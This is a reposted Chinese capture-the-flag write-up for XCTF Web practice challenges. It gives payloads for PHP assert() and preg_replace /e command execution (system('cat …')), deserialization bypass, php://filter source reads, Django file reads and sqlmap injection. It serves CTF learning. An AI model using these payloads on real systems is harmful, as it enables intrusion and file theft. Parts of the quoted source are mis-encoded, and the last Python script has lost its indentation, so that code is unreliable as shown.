攻防世界 web php include,XCTF攻防世界 Web Writeup （持续更新中）

转载

孙绿 于 2021-03-09 22:54:07 发布 132 收藏
文章标签： 攻防世界 web php include

新手练习区

view-source

F12得到flag。

get_post

HackBar一把梭。

robots

访问robots.txt发现隐藏文件，进入该文件获得flag。

backup

index.php的备份文件应该是index.php.bak，访问一下发现果然是，用记事本打开下载的文件得到flag。

cookie

看一下请求头发现cookie.php

访问cookie.php，在响应头中有flag。

disabled_button

删掉那个disabled，再点击按钮就能拿到flag。

simple_js

查看源码发现js脚本，直觉感觉下面十六进制的才是flag(后来发现我的直觉果然很准)

把这个十六进制转换一下得到几个数字，数字ASCII转码为字符串，加上格式得到flag。

xff_referer

放进BurpSuite的Repeater，按照题目要求修改一下请求头就行。

weak_auth

weak_auth，应该是弱密码。

用户名admin，密码123456被我一下就试出来了……

webshell

直接上菜刀：

当前目录下有个flag.txt，打开就是flag。

command_execution

题目就叫命令执行，于是采用管道符连接ip地址和命令。

一番搜索之后在家目录下发现了flag的文件，cat命令读取一下得到flag。

simple_php

代码：

```
show_source(__FILE__);
```

```
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
```

要求a不等于0并且转换后等于0，那么根据PHP弱类型，a可以等于0a。b大于1234数字又不能是数字，b可以等于12345%00(%00是空字符)。

payload:?a=0a&b=12345%00

高手进阶区

ics-06

很简单的题，考察使用burpsuite爆破

进去之后随便点了几下发现这么一个页面：

送分题？(手动滑稽)

发现url里有个id，那么应该不是SQL注入就是爆破或者是伪协议读源码之类的。一番尝试之后觉得应该是爆破。

于是用BurpSuite抓包之后爆破，payload为2333时回显有变化，查看响应信息得到flag。

News Center

用sqlmap就能跑出来的SQL注入题

进去之后看到一个搜索页面，前端还是用的MDUI，233333

一般遇到这种都是SQL注入，看了一下network标签发现是POST方式提交的search参数，于是上sqlmap

sqlmap -u http://111.198.29.45:34382/ --data="search=1"

接下来就是sqlmap一把梭的事情了。

最后的过程有点慢，但是可以跑出来：

mfw

也是比较简单的题，考察的是git源码泄露和php assert任意命令执行

在about页面找到了这些：

Git？那肯定要上githack了。

看了一下flag.php发现啥也没有：

翻了翻源码，在index.php里发现了一些可以利用的东西——熟悉的assert()函数：

我在总结里写过关于这个函数的知识：

assert函数的参数为字符串时，会将字符串当做PHP命令来执行。

例如：assert('phpinfo()')相当于执行<?php phpinfo() ?>

所以只要用一个不存在的文件名闭合掉assert函数并令其等于false，再用system()和strpos()函数读一下./templates/flag.php就可以了。

payload:?/page=about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag

flag在网页源代码里，F12就看到了。

NaNNaNNaNNaN-Batman

前端题，主要是考察对JavaScript的熟悉程度

下载附件，用VSCode打开，发现是乱码，但能看到HTML标签和类似于JavaScript的代码：

把这个文件的扩展名改为.html，保存，可以稍微看清楚一点(需要VSCode装插件，就是保存的时候自动把代码格式化的那种插件，想不起来叫什么了)：

从上面的代码中可以看出“_”是一个字符串变量，会用后面的eval()函数执行，其他的因为都是乱码所以看不出来了。

卡了一段时间之后忽然想到为什么不能把这个字符串输出一下呢？于是把eval改为console.log，可以在console里得到没有乱码的字符串：

得到的字符串是标准的JavaScript代码，丢进VSCode看一下：

简单来说就是经过一系列正则匹配之后执行一部分代码，但是既然我们有了要执行的代码，那还管正则匹配干什么呢，直接把需要执行的那部分扔到console里执行一下就可以了。

flag到手。

PHP2

考察.phps源码泄露、URL二次编码绕过

一开始我也没明白这个题是什么意思，看了大佬的wp才知道是有.phps源码泄露：

phps文件就是php的源代码文件，通常用于提供给用户(访问者)查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用phps文件代替。其实，只要不用php等已经在服务器中注册过的MIME类型为文件即可，但为了国际通用，所以才用了phps文件类型。

访问index.phps得到源码：

看源码就可以知道这个是很简单的URL二次编码绕过，所以payload：?id=ad%256din

flag到手。

unserialize3

绕过魔法函数sleep()和wakeup()的反序列化漏洞

题目名叫unserialize3，那应该是跟反序列化有关的题目。

看一下源码，出现了__wakeup()这个魔法函数：

unserialize()执行时会检查是否存在一个wakeup()方法。如果存在则先调用wakeup()方法，预先准备对象需要的资源。wakeup()经常用在反序列化操作中。sleep()则相反，是在序列化一个对象的时候被调用。

这个漏洞的核心是：序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

将题目中的类序列化得到结果：O:4:"xctf":1:{s:4:"flag";s:3:"111";}

简单解释一下这个字符串：

O代表结构类型为类，4表示类名长度，然后是类名、成员个数。

大括号内的值是：属性名类型、长度、名称；值类型、长度、值。

如果我们把传入序列化字符串的属性个数改成比1更大的值，就不会触发__wakeup()方法，进而得到flag。

payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Cat

个人感觉比较综合也比较难的题目，考察的是url编码和django的知识

打开网页发现是一个ping功能，但是输入正常的用户名没有反应，输入ip地址有反应：

本来因为题目名叫cat，又是ping，以为是命令执行，但是尝试了|、&等都报错，提示Invalid URL。看来题目的本意并不是命令执行。

看了网上一个大佬的wp才知道这个是跟Django有关的。网站本身是用PHP写的，但是可能有Django的组成部分。

在url里传参%80报错(URL编码是0~127，80的十六进制是128自然报错)，从报错信息的目录结构可以知道这个是Django的项目：

其他的没什么信息，又去看了看大佬的wp，发现这个原来还需要用PHP的@前缀：

全部数据协议使用HTTP协议中的POST操作来发送。要发送文件，在文件名前加上@前缀并使用完整路径……

根据Django的目录特性，用@进行文件传递，对文件进行读取之后将内容传给url参数，如果有错误信息就可以得到回显，进而取得更多错误信息、帮助我们拿到flag。

先看看settings.py：

payload: ?url=@/opt/api/api/settings.py

找到数据库文件的存放位置：

看看这个文件：

payload： ?url=@/opt/api/database.sqlite3

搜索CTF得到flag。

ics-05

进去之后随便点点发现了这个：

page=index，那应该可以用伪协议读出源码。

payload:page=php://filter/read=convert.base64-encode/resource=index.php

源码到手，base64解码一下：

error_reporting(0);

@session_start();

posix_setuid(1000);

?>

è®¾å¤‡ç»´æŠ¤ä¸å¿ƒ

- äº¤å¹¹å¤°è®¾å¤‡ç»´æŠ¤ä¸å¿ƒ

è®¾å¤‡åˆ—è¡¨

layui.use('table', function() {

var table = layui.table,

form = layui.form;

table.render({

elem: '#test',

url: '/somrthing.json',

cellMinWidth: 80,

cols: [

[

{ type: 'numbers' },

{ type: 'checkbox' },

{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },

{ field: 'name', title: 'è®¾å¤‡å��', templet: '#nameTpl' },

{ field: 'area', title: 'åŒºåŸŸ' },

{ field: 'status', title: 'ç»´æŠ¤çŠ¶æ€', minWidth: 120, sort: true },

{ field: 'check', title: 'è®¾å¤‡å¼€å

³', width: 85, templet: '#switchTpl', unresize: true }

]

```
],

page: true

});

});

layui.use('element', function() {

var element = layui.element; //å¯¼èˆªçš„hoveræ•ˆæžœã€�äºŒçº§èˆ•å•ç -
‰åŠŸèƒ½ï¼Œéœ€è¦–elementæ¨¡å——

//ç›‘å¬å¯¼èˆªç‚¹å‡»

element.on('nav(demo)', function(elem) {

//console.log(elem)

layer.msg(elem.text());

});

});

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {

?>

}else{

?>

if (strpos($page, 'input') > 0) {

die();

}

if (strpos($page, 'ta:text') > 0) {

die();

}

if (strpos($page, 'text') > 0) {

die();

}

if ($page === 'index.php') {

die('Ok');

}
```

include($page);

die();

?>

}}

//æ–¹ä¾¿çš„å®žçŽ°è¾“å

¥è¾“å‡ºçš„åŠŸèƒ½,æ£åœ¨å¼€å‘ä¸çš„åŠŸèƒ½ï¼Œå°ªéƒ¨å†

éƒ¨ä¸ºå‘˜æµ‹è¯•

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "
Welcome My Admin !
";

$pattern = $_GET[pat];

$replacement = $_GET[rep];

$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {

preg_replace($pattern, $replacement, $subject);

}else{

die();

}

}

?>

发现了危险函数preg_replace()，存在命令执行漏洞。

preg_replace(pattern , replacement , subject) : 当pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)

payload:/index.php?pat=/test/e&rep=phpinfo()&sub=test，这里还需要一个XFF绕过(至于为什么请看源码)，可以用BurpSuite的Repeater来测试：

最终拿到flag的payload：/index.php?pat=/test/e&rep=system('cat%20./s3chahahaDir/flag/flag.php')&sub=test：

Triangle

进去之后先读一波JavaScript源码，源码的格式比较乱，可以用Chrome自带的代码格式化功能格式化一下：

util.js

function test_pw(e, _) {

```
var t = stoh(atob(getBase64Image("eye")))
, r = 4096
, m = 8192
, R = 12288
, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++)
a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
```

R.mem_write(t + a, [_[o2[a]]]);

R.mem_map(r, 4096, uc.PROT_ALL),

R.mem_write(r, stoh(e)),

R.mem_map(m, 4096, uc.PROT_ALL);

var o = t

, u = t + o2.length;

return R.emu_start(o, u, 0, 0),

htos(R.mem_read(m, e.length))

}

function get_pw() {

for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)

_ += String.fromCharCode(e[o3[t]]);

return _

}

secret.js

function test_pw(e, _) {

var t = stoh(atob(getBase64Image("eye")))

, r = 4096

, m = 8192

, R = 12288

, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);

a.reg_write_i32(uc.ARM_REG_R9, m),

a.reg_write_i32(uc.ARM_REG_R10, R),

a.reg_write_i32(uc.ARM_REG_R8, _.length),

a.mem_map(r, 4096, uc.PROT_ALL);

for (var o = 0; o < o1.length; o++)

a.mem_write(r + o, [t[o1[o]]]);

a.mem_map(m, 4096, uc.PROT_ALL),

a.mem_write(m, stoh(_)),

a.mem_map(R, 4096, uc.PROT_ALL),

a.mem_write(R, stoh(e));

```
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t
, u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}
```

unicorn.js是一个JavaScript框架的源码，暂时不去管它。

我们把get_pw()在console里执行一下得到返回值：

执行enc_pw和test_pw得到返回值：

enc_pw:

\x08\x00\xa0\xe1\x09\x10\xa0\xe1\x0a\x20\xa0\xe1\x00\x30\xa0\xe3\x00\x50\xa0\xe3\x00\x40\xd0\xe5\x01\x00\x5

test_pw:

\x09\x00\xa0\xe1\x0a\x10\xa0\xe1\x08\x30\xa0\xe1\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\xc0\xa0\xe3\x00\x20\xd

直接转换得到的是乱码，卡了一会儿后才发现js源码中出现了“ARM”，同时Unicorn.js里也有不少“ARM”：

百度了一下发现是一种CPU，并找到一个十六进制与ARM代码的转换器：http://armconverter.com/hextoarm/

把text_pw和enc_pw得到的十六进制字符串去掉前面的\x并用转换器转换一下，得到以下汇编代码：

enc_pw:

MOV R0, R8

MOV R1, SB

MOV R2, SL

MOV R3, #0

MOV R5, #0

LDRB R4, [R0]

CMP R5, #1

BNE #0x28

AND R6, R3, #3

ADD R4, R4, R6

ADD R4, R4, #6

AND R5, R4, #1

STRB R4, [R1]

ADD R0, R0, #1

ADD R1, R1, #1

ADD R3, R3, #1

CMP R3, R2

BLT #0x14

MOV R0, #0

```
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R5, #0
MOV R6, #0
MOV R7, #0
MOV SB, #0
MOV SL, #0
test_pw:
MOV R0, SB
MOV R1, SL
MOV R3, R8
MOV R4, #0
MOV R5, #0
MOV IP, #0
LDRB R2, [R0]
LDRB R6, [R1]
ADD R6, R6, #5
AND IP, R4, #1
CMP IP, #0
BEQ #0x34
SUB R6, R6, #3
CMP R2, R6
BNE #0x54
ADD R0, R0, #1
ADD R1, R1, #1
ADD R4, R4, #1
CMP R4, R3
BLT #0x18
MOV R5, #1
```

MOV R0, #0

MOV R1, #0

MOV R2, #0

MOV R3, #0

MOV R4, #0

MOV R6, #0

MOV R7, #0

MOV R8, #0

MOV SB, #0

MOV SL, #0

MOV IP, #0

完全不懂汇编的本渣渣表示彻底懵了，难道Web和逆向都精通才是未来的趋势吗？？？

这其实是道逆向题。(雾)

于是只好去搜了wp，发现上面的汇编码用Python写是这样的：

enc_pw：

```
def enc_pw(s):
    res = ''
    f = 0
    for i, c in enumerate(s):
        c = ord(c)
        if f == 1:
            c += i & 3
        c += 6
        f = c & 1
        res += chr(c)
    return res
```

test_pw：

```
def test_pw(s, t):
    for i, (c, d) in enumerate(zip(s, t)):
        c, d = ord(c), ord(d)
        c += 5
```

```
if i & 1:
c -= 3
if c != d:
return 0
return 1
```

解密脚本：

```
import string
def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res
encrypted = 'XYzaSAAX_PBssisodjsal_sSUVWZYYYb'
flag = ''
for i, c in enumerate(encrypted):
c = ord(c)
c -= 5
if i & 1 != 0:
c += 3
for d in string.printable:
if enc_pw(flag + d)[i] == chr(c):
flag += d
break
print flag
```

跑一下这个脚本得到flag。flag没有格式。